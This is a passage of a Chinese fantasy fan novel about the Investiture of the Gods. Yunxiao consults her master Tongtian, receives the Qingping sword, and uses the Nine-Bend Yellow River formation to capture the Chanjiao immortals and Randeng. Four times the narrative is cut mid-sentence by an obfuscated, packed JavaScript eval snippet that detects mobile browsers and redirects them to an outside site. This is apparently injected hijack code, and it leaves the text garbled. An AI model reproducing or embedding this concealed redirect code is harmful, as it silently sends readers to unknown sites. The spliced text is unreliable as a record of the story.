琼霄眼中冒火,“什么佛门之宝?我师尊通天教主千年前就将定海珠赐给兄长,你现在说是佛门的就是佛门的?” 菡芝仙冷笑,“你这道人好生无耻,抢了别人的东西不还,就说那东西天生注定不是他的,世间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544295|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪有这样的道理?” 云霄端详那燃灯,又看看旁边面露不悦之色的广成子,眼中若有所悟。 便弃了燃灯不论,看向一众玉虚门人,笑道, “若有机缘,当上昆仑请教一下二师伯,你们这副教主好好一个道门真人,那么操心西方佛教作甚?” 云霄是自己提到的昆仑,本来存着挑拨之心,故意这么说。却不知为何,说到“二师伯”之时,她心头蓦地一悸,似惊似骇,又夹杂着古怪道不明的情绪。 那感觉一晃而过,云霄大敌当前,也没特别在意。 广成子是元始天尊的大弟子,阐教击金钟的大师兄,地位不在燃灯这个外来副教主之下。他对燃灯抢在自己前面出风头本就有些不喜,被云霄等一挑拨,更是雪上加霜。 方见广成子眉头紧皱,已然对燃灯开口,“她们说的原也不错,那定海珠即是圣人之物,理当奉还。燃灯老师又多说什么,给她们便是。” 其他阐教金仙也赞同。 “大师兄说的是。” “多一事不如少一事,莫要伤了两教和气。” “燃灯老师,就还给她们吧。” 定海珠跟他们又没关系,还了定海珠,少打一场架,皆大欢喜。什么佛门之宝,关他道门屁事。 截教弟子的话燃灯可以不在意,可当阐教金仙也调转墙头,燃灯就不得不重视了。 他一番思量,还是舍不得还。厚着脸皮,故作为难道,“大劫当前,贫道却是抽不开身,那定海珠且先放在贫道手中一段时间,待劫后吾亲自去碧游宫奉还便是。” 这显然是推脱之词。 碧霄气得像一只踩到尾巴炸毛的猫,眼睛里碧色翻腾,指着燃灯嚷道, “老贼,我最后问你一次,你还是不还?” 燃灯沉下脸,“贫道昔日也是跟令师一起在紫霄宫中听道的,尊师尚且与吾同辈论交,你这小辈,安敢辱我?” 云霄目光瞥到玉鼎真人,却是放软了语气, “杨戬伤了我妹妹,被我打伤,算是扯平。我姐妹无意与诸位为难,只需燃灯道友还了定海珠,告知陆压道人所在,吾自然将此子放回,前债尽销。” 燃灯不语。沉默片刻,只说, “陆压道人居无定所,来去自如。我等也不知他的所在。” 至于归还定海珠的话,却是提也不提。 玉鼎真人阴沉着脸。他只有杨戬一个徒弟,天资聪颖,在三代弟子中也最得元始天尊喜欢。尤其那只天目,乃圣人亲赐。 方才见杨戬眉间血肉模糊,只恐徒弟伤了天目,影响未来修行不说,或许还会让恩师不悦。 这会儿若云霄愿意尽释前嫌,放了杨戬回去治伤,那自然最好不过。偏偏燃灯执意不肯。他心中怎能无怪呢? 只是碍于他副教主的身份,加上大师兄也在,故不好出头罢了。 “阐教欺人太甚!云霄师姐,你还在犹豫什么?” “我等学道千年,岂能在此堕了老师威名。姐姐,咱们布阵吧!” “姐姐!” 被几个师妹央求,云霄也深恨燃灯无耻。深吸一口气,她面向西岐一方,舌绽春雷。 “罢,罢,罢。我本是想尽弃前嫌,了断因果,但看来燃灯道友并无诚意。既然如此,也就没有什么好说的了。只能做过一场,赌个胜负。” “十日后,我三姊妹在此设下九曲黄河大阵,玉虚教下若能破阵,我等尽归西岐,不敢与诸位道友为敌。若是破不了我阵,就休怪我不顾师伯颜面,向诸位追究吾兄之仇了。” 7.请圣 “云霄师姐这阵法着实精妙,不过排演还需一段时日。那杨戬肉身极为强悍,精通变化和土遁之术,怕他这次又要逃了。不如先放在我红沙阵里,定叫他有来无回。” 说话的人跟云霄同为截教弟子,名张绍,昔年结拜的风潮起来,他与另外九个同样钻研阵道的截教仙结拜,号十天君,把各自的阵法合在一起叫十绝阵。 如今十绝阵被十二金仙破了九个,其他九名天君也被打死,仅剩张天君的红沙阵,一时还无人能破。 张天君本来在红沙阵中主阵,得知云霄在三军前公然向阐教十二金仙下了战书,要摆九曲黄河阵,他是闻阵则喜,便匆匆来观摩了。 云霄回了营中,并不耽误。先令闻仲闻太师去军中选六百壮汉前来听用,然后与两个妹妹前往后营,连夜用白土画出阵法图式,何处起,何处止,以供那六百人排列熟悉阵型。 她这阵名为九曲黄河阵。与大多数修士布阵时仅用阵旗法宝不同,九曲黄河阵之厉害就在于天地人的贯通。 内阵由云霄为主,琼霄碧霄为辅,蕴先天之妙,合三才之数。外阵按九宫八卦,出入进退,九曲无直。人虽不过六百,其中玄妙不啻百万之师。纵是神仙,入此也要神消魄散。 云霄才把外阵的阵图画完,便听到张天君此话。 她知晓张天君对阐教金仙的仇恨不比三霄少,若为这同门情谊,一个杨戬给就给他了。然而她还需要杨戬的天目来窥探自己身上的异常,便婉拒了他。 道,“师弟的红沙阵自然可信,然此子与我还有用,就先不让他去了。” 张天君闻言有些遗憾,但也无怪,留下对十日后作为布阵的期待便回了红沙阵中。他那阵里还困着西岐的武王并哪吒雷震子等,可不容出错。 云霄让闻太师安排那六百大汉熟悉阵法,对自己休息的地方只说, “给我个干净小帐,清水一壶即可。” “我们也去!” “我们跟姐姐一起就好。” 琼霄和碧霄早来两日,本已有住处,但云霄来了她们自然要跟着云霄。反正她们也不用睡觉,一人一个蒲团打坐即可,顺便还能问问大姐今天是怎么弄出的那重空间结界。 二女想的是很美好,奈何云霄却不许。 “你们不能跟我一处。” “为何?” “姐姐莫非不喜欢我了?”碧霄黏哒哒的挨着云霄,“那天我是心急了些,姐姐可不能跟我计较。” 云霄忍不住笑着点了点她的额头,“我要同你计较,早一千年就被你气死了。” 琼霄看到云霄笑了,顿时放松下来,凑过来取笑。 “可不是,当初碧霄都没化形,背着咱们去海里抓鲨鱼,差点淹死在海里。要不是乌云仙师兄在附近午睡,把她捞起来,咱们就没有小妹了。” 碧霄扑过去要捂她的嘴,“都一千年了,你怎么还没忘!” “再过一千年我也忘不了,你这只落汤猫。” “二姐!我最后还是抓到鲨鱼了!” 云霄笑眼看她二人,目光温柔,心下却是愈发坚定了,在找到自己那般异常的原因之前,要尽量回避与两个妹妹相处。 她虽然不记得具体听到了什么看到了什么,但她知道杨戬的异常是因她所致。且她那时根本控制不住自己,脑海中一片空白,万一不小心伤到了她们,怕是追悔莫及…… 好说歹说,云霄还是以“要单独审问杨戬”这个理由,让二女离开了。 碧霄还不愿意,琼霄便拉着她说, “姐姐今日跟人斗法辛苦,就不要打扰她了。走走,我去帮你上药。” 碧霄来不及提出什么质疑,就被琼霄扯了出去。 “二姐你干什么拉我呀!” 出得营帐,碧霄还不高兴。琼霄压低声音跟妹妹解释,“我琢磨着,大姐恐怕是看上杨戬那小子了。” 碧霄瞪圆了眼,“那阐教小子何德何能……” 她话声微顿,想了想那杨戬。脸还行,本事似乎也不错,后面半句便没说出来。设想一番,还是嘟着嘴, “大姐若是跟他结成道侣,岂不是乱了辈分,要凭空矮那十二金仙一截了。” 琼霄一脸平淡,“玩玩就罢,谁说一定就要负责了。” * 云霄不知两个妹妹对自己有这般猜测,她坐在云床上,唤出混元金斗,将法宝空间内的杨戬放了出来。 到底肉身强悍,杨戬脸上恢复了一些血色,额间的天目也长好了,只余一点浅浅的痕迹。她倒了一碗水随手泼到他脸上,他便悠悠转醒。 水流顺着脸庞而下,冲淡了他眼角的血泪,给原本只是俊朗的青年凭空添了两分战损的美感。 然而云霄并无什么怜惜,直接开口询问, “杨戬,你看到了什么?” “……恐怕要让娘娘失望了,杨戬现在什么也看不到。” 一双无神的眼寻声转向她,失去了视力,杨戬的情绪却异常平静。 云霄不免皱眉,下了云床,指尖蕴起灵光,轻触他的眉眼。杨戬也没有挣扎的意思,很配合的仰着头,任由她探查。 灵力自肤表渗透,丝丝缕缕顺着血管脉络依次探入,才发现杨戬眼眶周围如枯木一般,几乎没有了生机。他应该是觉得有些痛,嘴唇紧抿。无神的眼半睁半闭,睫毛微微颤动。 不过是用了一次天目,竟损耗至此? 云霄想到杨戬的失明是因自己,虽然知晓他是阐教中人,但看他如此温顺,闷声不吭的由她动作,一时也不免生出两分怜惜。 看到他睫毛上沾了一点干成碎屑的小血块,收回法力时便顺手替他抹了去。 看不到的情况下,感官比平时要敏感得多。杨戬不由自主屏住了呼吸,脸颊却有些发烫。 “你可还记得,之前看到了什么吗?” 他听到云霄的声音,轻柔的,像一团软软的云。 “我看到——” 杨戬尝试着回忆了一下,脑海中却如同被钝器搅动,胸口猛地一颤。他险些再度栽倒在地,幸被云霄扶住,才不至于出丑。 “你看到什么?”云霄追问。 杨戬因疼痛紧紧握住云霄的手臂,大口的喘息,才给出八个字。 “不可直视,不可思议。” 看到他无神的眼眶里再度流下血泪,云霄心知杨戬并未撒谎,她扶着他的手指紧扣,一时说不出话来。 不可直视,不可思议。 究竟是什么样的存在才能让阐教三代弟子中的佼佼者产生如此认知?是圣人吗? “即是不可思议,就别想了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567269|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她到底心软,拿出几颗丹药喂杨戬服下,又给他擦干净了眼里流出的血。温声问,“你的天目可是天生?” 杨戬低低道了谢,答,“并非天生,乃是师祖赐下。” 云霄默然。这事莫非只能求助于圣人?可她也不能去求元始天尊啊。 找自家师尊? 她不太敢。 云霄千年来一直都是好学生,这次违背师命,身入封神大劫,哪里还好意思找通天? 可是不求助师尊——往后让通天知道自己明明遇到难处却不找他,恐怕也要骂她的。 思前想后,云霄决定找还是要找。 她也没让杨戬出去,只把他扶到一旁,让他别出声。然后径自从储物袋中取出一炷香点燃。 此香非凡香,乃是她正式拜入师门时大师兄多宝道人所赠请圣香。 据说这香曾得通天教主神念加持,不论身在何地,点燃香烟就能引来圣人的神念关注。每个正式弟子仅能得一根,一根只能用三次。至于那些数以十万记的记名弟子是没有的。 这是云霄第一次用。 她一手持香,一手掐诀,以上清灵力为火,点燃了香头。 灵力沁出指尖,是淡淡的青色。化而为烟,但见青烟袅袅,凝而不散,弥漫帐中。于半空里隐约构成一个道人执剑的虚影,却是影影绰绰,看不清晰。 冥冥之中,云霄感觉到一种被无形存在注视的感觉。但这注视并不会让她感到恐惧或心生抗拒,而是一种善意温暖的感觉。 烟雾中响起她熟悉的声音, “我道是谁不在岛上静心修行,跑凡间来烧香请吾,原来是小云儿啊。” 这话羞得云霄不敢抬头,讷讷道,“师尊,弟子知错。” 边上的杨戬听闻此语,亦是摸索着跪下,口称,“阐教三代弟子杨戬,拜见师叔祖。” “二哥的徒孙?” 青烟卷起微微的风,轻轻扫过杨戬的眼睛。却说云霄,“你请为师来,莫非就是为了这小子的眼睛?” 不待云霄开口,教主挥起一道烟雾轻触她的头顶。分明是触不可及的烟雾,碰到云霄却敲出了“咚”的声响。 “傻丫头,人家自有他师祖操心,要你多管闲事。还浪费一次请香的机会。赶紧回三仙岛去闭关,吾让多宝回头再偷偷补你一炷香。” 师父什么都好,就是打头稍微痛了点。 云霄摸摸头顶,好像教主真的在她面前教训她一般。 她低声解释,“师尊误会了,弟子请圣香并非为了他,而是另有难处。” “有何难处都可以回去再提。” 那教主的声音难得正经起来,透着严肃,“公明魂魄已投了封神榜,难道你还要步他的后尘吗?云霄,听为师一言,你回去罢。” 回去?云霄仰起头,眼中有些恍惚。 青烟构成的虚影依旧模糊,看不清晰,可那语声暗藏的关怀哪怕相隔万里也让她心头酸涩难言。 “师尊,弟子已设九曲黄河阵,无法回头了。” 她一见通天,便觉脑中清醒,不像之前的混沌,被无形之力牵着出岛入劫中。然而丝丝的因果早已扣住了她,如一张巨网,但入网中,谁也无法逃离。 帐中静默半晌,教主方叹道, “有何难处,你且说来。” 8.青萍剑 “……大概就是这样。” 云霄把暮间之事仔细的向通天描述了一番,又指杨戬, “弟子全然不记得那时看到了什么,杨戬的天目似是能够看到,但如今业已损毁,目不能视。他一回想便双目流血,只告知,不可直视不可思议之词。” “不可思议?呵,有趣。” 青烟的人形转向杨戬,只一眼,便看出问题, “这只天目,并非洪荒之物啊。谁给你安上的?” 杨戬低眉答,“是师祖所赐。” “那就难怪了。” 通天微微颔首,状似随意的问他,“昊天与你有什么关系?” 杨戬蓦地收紧了拳头,语声低沉, “天帝,曾与家母有旧。” 昊天,正是天帝。 “是有旧,还是有亲呐?” 闻言,杨戬面容紧绷,一瞬间流露的杀气让云霄都有些惊讶。要知道,即便刚发现自己瞎了眼,他也不曾如此失态的。 他不敢违逆圣人,咬着牙作答,“或有过兄妹血缘,本无亲情。” “善,果然是个好孩子,不怪二哥会看重你。” 通天笑着感叹了句,随后挥了挥香烟构成的手,一巴掌拍晕了杨戬。 方才对云霄道, “咱们师徒说话,不给外人听。” 云霄点点头,杨戬只是她为了能够更直观让师尊了解情况的工具人罢了,既然师尊已经看过了,把他踢出对话,不让他听很合理。 没有了外人旁听,她也能够放心跟通天讲出另一件事, “除了今日暮间的异变,在来凡间之前,徒儿还少了两日的记忆。” 她又把自己出三仙岛后的情况简单叙述了一下,在云霄的记忆里,她是追着琼霄碧霄二人出来的,可她们却先到了两日。那就只能是她从三仙岛至凡间的过程中被人暗算了。 “你好歹是大罗金仙,竟全然没有发觉?” 云霄苦笑,“若非妹妹们指出,弟子当真不知。” 通天颔首,让她,“不要反抗。” 说罢,一缕青烟流入她的体内,灵光点点,自肉身到元神。 云霄对师父完全信任,哪怕不太适应这种无所遁形的感觉,也丝毫没有反抗。 灵光仔仔细细转过一周,教主的声音有些惊讶,“似乎并无什么异常?” 通天不信邪,灵光又在她体内走了两遍,连灵台元神也进去了,还是没有发现问题。 香烟的虚影绕着云霄走了一圈,又令她, “你放点血。” 云霄以指为刃,毫不犹豫的划破手腕,鲜血淌下,没有落在地上,而是停滞于半空中。 一缕无形的香烟浮在她腕上伤口处,眨眼就愈合了。 通天又敲了她一下,“蠢丫头,划那么长一道伤口,不知道疼吗?” 云霄腼腆的笑笑,“不疼的。” 她只想配合着尽快找到根源,这点小伤口又算得了什么。 腕上流出的血液在半空中平铺开来,变成一个小人。圆圆的脑袋,四肢都像棍子一样。那小人手中举一根香,正在摸头,跟云霄的动作同步。 云霄知道,这小人应该是代表自己。 小人动了,跟其他两个小人贴贴,然后快速变化,扶住另一个三眼小人,再然后是一条狗差点咬到她却生生错开了空间…… 血液描绘的小人画在此时停住。 云霄适时开口,“弟子变得异常,正是从此刻开始。” “嗯。” 通天皱眉看了一会儿,血液描绘的小人画继续逆推往前。她看到自己来到商营,乘青鸾回到三仙岛,才下青鸾站定,然后眨眼间消失了。 消失了……连带着那一滩血液,都像是凭空气化了一样,消失的无影无踪。 “竟已不在此时空?这就有些难办了……” 连师尊都觉得难办?云霄顿时有种“没救了,干脆等死”的感觉。 见她神情萎靡,教主赶忙安慰, “诶,别怕别怕,天塌下来,还有为师顶着呢。你那二师伯最擅时空法门,大不了为师厚颜去帮你找他问问。” “师尊别!” 都知道他们兄弟不和,通天已经几千年没踏足过昆仑,怎能让恩师为自己的事去向元始低头? 云霄紧紧握着香,似央求一般开口, “弟子恐怕已难逃封神榜上名,师尊不必为了徒儿如此。” 从申公豹到三仙岛传公明死讯开始,云霄的心头始终蒙蔽阴云,好像被一张无形的网死死困住,沉闷压抑。她想脱困,却不愿给任何人,尤其是师父带来麻烦。 青烟的人影俯身下来,敲了她的脑袋第三下。 “你说这话,可不像是本尊教出来的徒弟。” 教主的声音有些不悦。 下一刻,整个岐山都听到空中一声惊雷炸响。 一道青色光芒如闪电般裂开漆黑的虚空,咻地刺入商军后营的某处营帐内。 那光芒落入云霄怀里,却是一把造型古朴的青光宝剑。 云霄先是被惊雷吓一跳,打断了低落的情绪。待看清怀中是何物,手里的香都差点握不住。 “师尊这是——” “青萍剑不认识了?借给你壮壮胆。” 教主回答的相当散漫,好像那不是他成道的法宝青萍剑,而是一根普普通通随处可见的树枝。 相传先天至宝混沌青莲感盘古元神所化三清,一分为三,故有“红花白藕青莲荷,三教原来是一家”之言。 其中老子得一扁拐,元始得一三宝玉如意,通天得青萍剑。具是三清斩尸证道之宝。其中不仅有圣人的一缕神念,还寄托有一段天地法则。 圣人成道之宝,这哪里是借剑,分明是给她一道保命符啊! 青烟消散,空气中只留下圣人含笑的嗓音。 “大衍之数五十,其用四十有九,而吾截其一。一线生机,尚可截取衍天地万象,封神榜有何惧?那见不得光的杂碎,又何惧?云霄啊,我截教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582835|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的教义你还需好好学习才是。” 这一番话可谓锋芒毕露,掷地有声。她的师父总是如此,如此嚣张,一切都是小事,一切都能解决。如山如海,吐狂风荡扫层云,让她心潮澎湃,一扫阴霾。 云霄怀抱青萍剑,抬手擦去了眼角的湿润,笑的眼眸半弯。温和柔软的气质中,平添一缕锋芒。 师尊教训的对。封神榜何惧?天数何惧?那不可直视不可思议的存在又有何惧?剑是她的胆,教义是她的魂。她总能扬一扬手中剑,截取一线生机。 * 远在东海碧游宫的通天教主,于无人的殿内抓耳挠腮。 “难办难办,怎么偏偏是我最不擅长的时空法则……就我所知,仅有二哥未成圣时钻研过此道,总不会是二哥?” “不不……自道祖传道后我三兄弟就已断了领悟天地法则成圣之心,二哥更是不让我再提。以他的脾性不可能舍去混元道果重新去领悟天地法则的……不是二哥,又是谁呢……” “天地未曾宣告新圣人诞生,莫非是哪个准圣侥幸领悟了空间法则?云霄这孩子自来乖巧,怎么会惹上这样的麻烦……哎,难道真要去找二哥帮忙?” * 昆仑山,玉虚宫。 元始静静看着水镜中云霄请圣,通天大张旗鼓借剑的画面,眼中毫无波澜。 然而与稳坐如山的圣人不同,殿内的触手们似乎永远躁动,永远不停歇,说着除了圣人谁也听不懂的话——不,现在能听懂的人也许还多了个云霄。 【猜不着傻弟弟果然猜不着】 【喜欢喜欢】 【什么时候才能双修呜呜我真的不想活了】 【哈哈嘻嘻我才是真的,你们都是假的】 【死吧死吧都杀啦】 元始不了解云霄,却很了解通天。 祂知道,依通天的性子,一旦云霄向他求助,他必然不会袖手旁观。所以早在祂出手将云霄掠至玉京之时,就已经做好了充分的准备。 祂的弟弟了解祂,正如祂了解祂的弟弟。通天不会怀疑祂。 “天地法则……” 元始轻嗤,不知是在嘲弄谁的愚蠢。 祂继续以那种毫无波澜的目光注视着水镜中的云霄。 她的营帐被剑光斩碎,这般大的动静根本藏不住。而通天想要的正是这样的效果。 就算一时找不出算计了他徒儿的人,他要以此威慑对方,再想动他的徒弟必将付出与圣人为敌的代价。 傻弟弟,不怪在那个时空中,第一个被算计致死的就是他。 元始有些漠然的想,但这一次不会了。 青萍剑给了云霄两分通天的胆气,这是好事。她要与祂双修,总不能太畏惧祂。尽管在她拿着青萍剑之时祂不能再去触碰她,诱发她的异化,但青萍剑不可能永远守着她。 使用青萍剑的机会只有一次,通天纵然有心照顾徒弟也不能坏了规矩。 届时,他会亲手将云霄送至祂的面前。 就快了。 9.摆阵 十日,说快不快,说慢也不慢。九曲黄河阵的阵图太复杂,六百将士训练了十天,大概可用。 约定之日一到,闻太师率军出营,五位仙姑在蓬下叫阵。 “吾阵已成,叫燃灯出来破阵!” “让姜子牙出来答话!” 探事的上报回去,姜子牙便领一众阐教门人出营,到阵前赴会。 岐山脚下,黄沙漫漫。见商汤那边,五位仙姑各乘青鸾、鸿鹄等仙禽,脚下阵图黑雾弥漫,阵口有牌,上书“九曲黄河阵”几个字。 内部隐隐可见飞沙走石,几百人排列阵式,旗旛五色,煞气腾腾。 云霄针对的明标明确,笑问,“燃灯道友,可识得此阵吗?” 燃灯道人答,“道友既已将阵名书写在上,又何言识与不识呢?” 燃灯口中说着,目光却不着痕迹往云霄后背的青萍剑瞟了一眼,露出几分忌惮之色。 通天教主赐青萍剑时的动静太大,根本藏不住。他昔日也是跟通天元始同一批到紫霄宫听道的,虽无成圣机缘,也是老牌准圣。圣人成道之宝有多大的威力,他哪里能不知? 这九曲黄河阵再厉害,他也有信心逃掉,可面对青萍剑,燃灯却不太有信心。 “既识得,你可来破我阵。” 燃灯未有回音,那周营中,上次被云霄用空间隔绝在外靠近不能的小将黄天化,却头一个纵玉麒麟冲了出来,大声喝道, “无名小阵,也配我师长出手?看我黄天化来破你的阵!” 黄天化的师尊清虚道人好似无奈,“小辈无状,让各位师兄见笑了。” 众仙自然不怪。 实际上这一情景并非黄天化冲动,而是周营惯用的战术,都默认了先让小辈试水,自己观望后再来下场。面子里子都有了。 碧霄不知他们套路,闻言大怒,正要拔剑去迎。云霄却把她一按,套用对面的话安抚她,“无名小辈,何须你亲自动手。” 她们在上,居高临下看的清楚。见黄天化冲入阵中,手中银锤挥得虎虎生风,然而并没有人应战。六百大汉只牢记阵图,分五色,踏三才,仿佛没见到有人闯入一般,巧妙的与他相错开来。 “咦?好像跟以前的外阵阵图不太一样……” 琼霄心细,率先发现了不同。 云霄含笑道,“我近有所悟,于九宫八卦之外,又得空间之妙。” 碧霄诧异,“姐姐什么时候学会了空间法术?我不记得师尊教过啊!” 云霄未答,她自己也不知道是什么时候学会的。 过往千年,通天从未传授过什么空间法术,她唯一接触的似乎只有战杨戬那日诡异出现的空间。可自那日以后,她偏偏就会了。 好像本能一般,只看一眼,她自然就知道在哪些适当的地方可以隔出空间结界,增强阵法的威力。 这难道也是她消失点两天学会的吗?掳走了她还管传授道法,事后又半点不留姓名痕迹。若真以此论,那幕后者还怪好的咧。 菡芝仙眼中闪着光亮,“云霄师姐的课业向来名列前茅,悟出空间法术也不奇怪。” “也对,大姐会了就是我们会了。大姐教的比师尊好多了。” 碧霄压根没有追问的意思,一边无脑夸姐姐,顺便吐槽了一下通天的教学。 这句吐槽获得众女仙赞同。 “师尊什么都好,就是喜欢想到哪讲到哪。” “不看大师兄和云霄师姐的笔记,我根本记不住师尊讲了什么。” “也就大师兄跟云霄师姐跟得上。” “别问,问就是全部都是重点。” 云霄感觉到背后的青萍剑似乎在颤抖,连忙出声打断。 “此子已被惑仙丹所迷,他修为不高,琼霄你去拿了他罢。” 青萍剑上附有通天的神念,可不敢让她们再说下去,真引来圣人关注就要挨打了。 众女被转移了注意力,低头见黄天化果真颠颠倒倒,从玉麒麟上跌落下来。 琼霄高兴的从云霄手中接过了混元金斗,暗掐法诀,放出金光,把黄天化收入法宝空间内。 “燃灯老师可看出此阵奥妙?” 周营那边,广成子带着几分刻意的问一旁的燃灯道人。 燃灯脸色微沉,转瞬就恢复自然。叹道,“天化功力不够,贫道只看出此阵包含天地之妙,惑仙之诀,想要破阵恐怕还需诸位道友亲自走上一遭。” 那边琼霄成功收了黄天化,不免得意,笑对一众阐教仙道, “玉虚门人也不过如此。” 这话触不动燃灯,可惹恼了十二金仙中排第二的赤精子。 见他执剑出来,朗声放言, “琼霄道友如此狂妄,今日到此,免不得封神榜上有名人。” 琼霄听得恼火,秀丽的面颊腾起两朵红云,一拍座下鸿鹄鸟,仗剑直取。 一个布鸟飞腾,一个轻移道步。云霄在上只叹妹妹太实诚,已布了阵,做什么要跟他斗法? 数个回合后,她看准时机,操纵混元金斗放出一道金光耀目,拿了赤精子往九曲黄河阵中一摔。 那赤精子跌倒阵内,他哪知此阵精妙?【能失仙之神,消仙之魄,陷仙之形,损仙之气,丧神仙之原本,损神仙之肢体,神仙入此而成凡,凡人入此而即绝。】 一时颠倒乾坤,如醉如痴,已将顶上泥丸宫闭塞了,千年苦修,化为乌有。从神仙变成了凡夫俗子。 旌旗飘扬,两军皆寂。那岐山脚下的风突然变得格外凛冽,仿佛梦穿透筋骨,冷得人不寒而栗。 玉鼎真人喃喃自语, “下山前师尊曾说,天数注定,我师兄弟命有一劫,会三花尽削,五气荡丧,失去千年道果。莫非就是今次吗?” 他的声音不大,但大家都是大罗金仙了,怎会听不到? “既然天数已定,早晚都在劫难逃,贫道就先行一步了。” 一道人出列,俨然是十二金仙之一的太乙真人。 这位太乙真人的徒弟哪吒是周营第一先锋官,战力不弱于杨戬。太乙真人本身也有不俗战绩,曾用法宝九龙离火罩将截教的石矶娘娘生生烧死,道法精深,不容小觑。 他说罢了,轻扫浮尘,信步走入九曲黄河阵中。什么法宝都没拿,也没有抗争之意。才一进去,就被削了顶上三花,跌倒在地。 “诸位师兄请了。” 又一人走出,正是方才黄天化的师父清虚道人。 他表情淡漠,一副得道高人模样,径直入阵。 云霄才将赤精子和太乙真人收入混元金斗,又来了清虚。清虚后面,还有其他几个排着队一样过来,且都没有丝毫对抗之意。 只觉得这一幕又荒谬又滑稽。 这些阐教弟子是在给她送菜吗?连挣扎都不带挣扎一下的? “大姐,他们,他们——” 琼霄飞回来,一脸惊疑。 “他们都傻了不成!”碧霄帮二姐把话说完。 云霄皱眉看了片刻,也不知哪里来生出一股明悟。 “阐者,明也。顺天而行,阐述天道,便是阐教教义。恐怕他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603825|142131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为此举是在顺应天数了。” “他们管这叫顺应天数?天要他死,他也去死吗?” 截教女仙们不敢置信。 他们截教的教义是截取一线生机,平日里各种不服就干,哪怕到了绝境也不退却,主打一个叛逆。实在不能理解那种献祭一般的操作。 眼看着十二金仙除了广成子还有燃灯都陷入阵中,云霄也颇感无语。遂把青鸾降下,盯着她这次的主要目标。 “燃灯道友为何迟迟不来破阵,难道是不敢吗?” 燃灯脸色难看,却不答,看向身边仅剩的广成子。 广成子回给他一个似笑非笑的表情,“纵然下山前师尊有言在先,但此劫说到底也是因燃灯道友而起。待燃灯道友先去了,贫道自会前去应劫。” 言下之意,死他也得死燃灯后头。 燃灯心里直骂,他知道广成子作为阐教首徒对自己一向不服,前日云霄索要定海珠一事,愈发促生了广成子不满。 但知道归知道,他又不是真的阐教弟子,投奔元始天尊也就是背靠大树好乘凉罢了。哪里舍得用自己一身修为去冒险? 见势不妙,燃灯厚着脸皮道,“广成子你着相了,此乃天数,待封神劫后掌教自会让你等返本归源。你放心去吧,贫道还有襄助西岐的任务,这便归玉虚宫请圣人驾临。” 说罢,也不等广成子入阵,便要施展土遁之术赶紧溜。 熟料云霄早就盯住他了,一看燃灯要跑路,哪里肯让? 她斥一声,“燃灯,还我兄长定海珠来!” 碧霄琼霄纷纷响应,跟着出手截住他去路, “燃灯休走。” “还我定海珠!” 金蛟剪随心而动,直取燃灯,混元金斗也放出道道金光追上。 燃灯对这些法宝浑然不惧,唯独忌惮尚未放出的通天教主的青萍剑。心念微动,他却是为保险起见,放出早先从姜子牙那里借来的先天灵宝戊己杏黄旗。 这杏黄旗乃是元始天尊的法宝,一旦展开,即有金莲万朵出现,无物可破,万法不侵。本来是借给姜子牙封神的,只他猜测会被云霄针对,怕她动用青萍剑,才厚颜找姜子牙借来防身。 虽然云霄此时还没放出青萍剑,但保险起见,燃灯还是先一步放出杏黄旗防身。 他想得很好,只需用杏黄旗拦住攻击,自己抓紧时间土遁离开。至于杏黄旗会不会落入三霄之手却无所谓。反正那是元始天尊的法宝,谅她们也不敢强留。 这一番思量本是老谋深算,天衣无缝。天数之下,燃灯也不该折损于此。 奈何,他遇到了云霄。 那实在是一种很奇怪又熟悉的感觉,对于云霄来说。 她从未见过杏黄旗,更不可能会操纵这法宝的法诀。可是当杏黄旗出现在她眼前,她脑海中就自然而然的出现了一种自己可以自由控制它的感觉。 “抓住燃灯,回来。” 这个念头甚至还没说出口,云霄只是在脑子里想了想,杏黄旗便停滞了。 万朵金莲包围了燃灯,看似是护持,实则将他重重摔倒在地。混元金斗随后跟上,金光一闪,将燃灯摄入九曲黄河阵。 九曲黄河,九曲无直,曲尽造化之奇,抉尽神仙之秘。任他燃灯准圣之身,也无法逃离。被关了天门,闭住泥丸宫,抛入阵中。 “圣人之宝竟也拦不住她吗?” 